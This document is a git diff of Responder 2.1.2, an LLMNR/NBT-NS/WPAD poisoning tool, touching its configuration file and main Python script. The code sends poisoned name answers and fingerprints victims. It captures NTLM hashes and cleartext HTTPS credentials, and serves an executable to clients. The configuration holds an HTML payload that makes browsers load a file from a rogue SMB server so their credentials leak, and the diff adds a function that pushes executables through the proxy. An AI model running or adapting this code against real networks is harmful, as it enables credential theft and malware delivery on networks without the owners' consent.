Compare commits

...

4 Commits

2 changed files with 139 additions and 82 deletions

View File

@@ -25,7 +25,12 @@ SessionLog = Responder-Session.log
RespondTo =
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
;RespondTo = WPAD,DEV,PROD,SQLINT
RespondToName =
RespondToName =
;
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
DontRespondTo =
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
;
[HTTP Server]
;;
@@ -45,10 +50,8 @@ ExecFilename = FixInternet.exe
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
;
;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
;
[HTTPS Server]
;
;Change to use your certs

210
Responder.py Normal file → Executable file
View File

@@ -23,7 +23,8 @@ from odict import OrderedDict
from socket import inet_aton
from random import randrange
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf',
VERSION = 'Responder 2.1.2'
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version = VERSION,
prog=sys.argv[0],
)
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse")
@@ -79,10 +80,15 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
FILENAME = config.get('HTTP Server', 'Filename')
WPAD_Script = config.get('HTTP Server', 'WPADScript')
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
RespondTo = config.get('Responder Core', 'RespondTo').strip()
RespondTo.split(",")
RespondToName = config.get('Responder Core', 'RespondToName').strip()
RespondToName.split(",")
DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip()
DontRespondTo.split(",")
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
DontRespondToName.split(",")
#Cli options.
OURIP = options.OURIP
LM_On_Off = options.LM_On_Off
@@ -96,6 +102,9 @@ Verbose = options.Verbose
Force_WPAD_Auth = options.Force_WPAD_Auth
AnalyzeMode = options.Analyse
if HTMLToServe == None:
HTMLToServe = ''
if INTERFACE != "Not set":
BIND_TO_Interface = INTERFACE
@@ -130,9 +139,11 @@ def Analyze(AnalyzeMode):
return False
#Logger
CommandLine = str(sys.argv)
import logging
logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
logging.warning('Responder Started')
StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
logging.warning(StartMessage)
Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log"))
logger2 = logging.getLogger('LLMNR/NBT-NS')
@@ -254,7 +265,30 @@ def RespondToNameScope(RespondToName, Name):
else:
return False
##Dont Respond to these hosts/names.
def DontRespondToSpecificHost(DontRespondTo):
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
return True
else:
return False
def DontRespondToSpecificName(DontRespondToName):
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
return True
else:
return False
def DontRespondToIPScope(DontRespondTo, ClientIp):
if ClientIp in DontRespondTo:
return True
else:
return False
def DontRespondToNameScope(DontRespondToName, Name):
if Name in DontRespondToName:
return True
else:
return False
##################################################################################
#NBT NS Stuff
##################################################################################
@@ -337,6 +371,13 @@ class NB(BaseRequestHandler):
data, socket = self.request
Name = Decode_Name(data[13:45])
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if Analyze(AnalyzeMode):
if data[2:4] == "\x01\x10":
if Is_Finger_On(Finger_On_Off):
@@ -640,7 +681,6 @@ def Is_Anonymous(data):
if SecBlobLen > 260:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
print 'LMHASHLEN:',struct.unpack('<H',data[89:91])[0]
if LMhashLen == 0 or LMhashLen == 1:
return True
else:
@@ -1232,6 +1272,8 @@ def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
@@ -1260,10 +1302,10 @@ class LLMNR(BaseRequestHandler):
def handle(self):
data, soc = self.request
try:
if Analyze(AnalyzeMode):
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if Analyze(AnalyzeMode):
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
@@ -1272,68 +1314,67 @@ class LLMNR(BaseRequestHandler):
except Exception:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
else:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
logger3.warning(Message)
logger3.warning(Message)
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
@@ -1354,24 +1395,24 @@ class LLMNR(BaseRequestHandler):
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
@@ -1615,7 +1656,6 @@ def Basic_Ntlm(Basic):
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
print Message
logging.warning(Message)
with open (Filename, "rb") as bk:
data = bk.read()
@@ -1702,7 +1742,7 @@ def PacketSequence(data,client):
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
@@ -1722,7 +1762,7 @@ def PacketSequence(data,client):
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
@@ -1776,8 +1816,21 @@ def HandleGzip(Headers, Content, Payload):
else:
return False
def InjectPage(data, client):
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
else:
return False
def InjectData(data):
Payload = config.get('HTTP Server','HTMLToServe')
Payload = HTMLToServe
if len(data.split('\r\n\r\n'))>1:
try:
Headers, Content = data.split('\r\n\r\n')
@@ -1904,8 +1957,10 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
if i is soc:
out = self.connection
try:
if len(config.get('HTTP Server','HTMLToServe'))>5:
if len(HTMLToServe)>5:
data = InjectData(i.recv(8192))
if InjectPage(i.recv(8192),self.client_address[0]):
data = InjectPage(i.recv(8192),self.client_address[0])
else:
data = i.recv(8192)
except:
@@ -2009,7 +2064,7 @@ def HTTPSPacketSequence(data,client):
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a))
ParseHTTPSHash(NTLM_Auth,client)
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
if b:
GrabCookie(data,client)
@@ -2017,7 +2072,7 @@ def HTTPSPacketSequence(data,client):
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
print "[+]HTTPS-User & Password:", b64decode(''.join(b))
logging.warning('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
else:
@@ -2520,4 +2575,3 @@ if __name__ == '__main__':
main()
except:
raise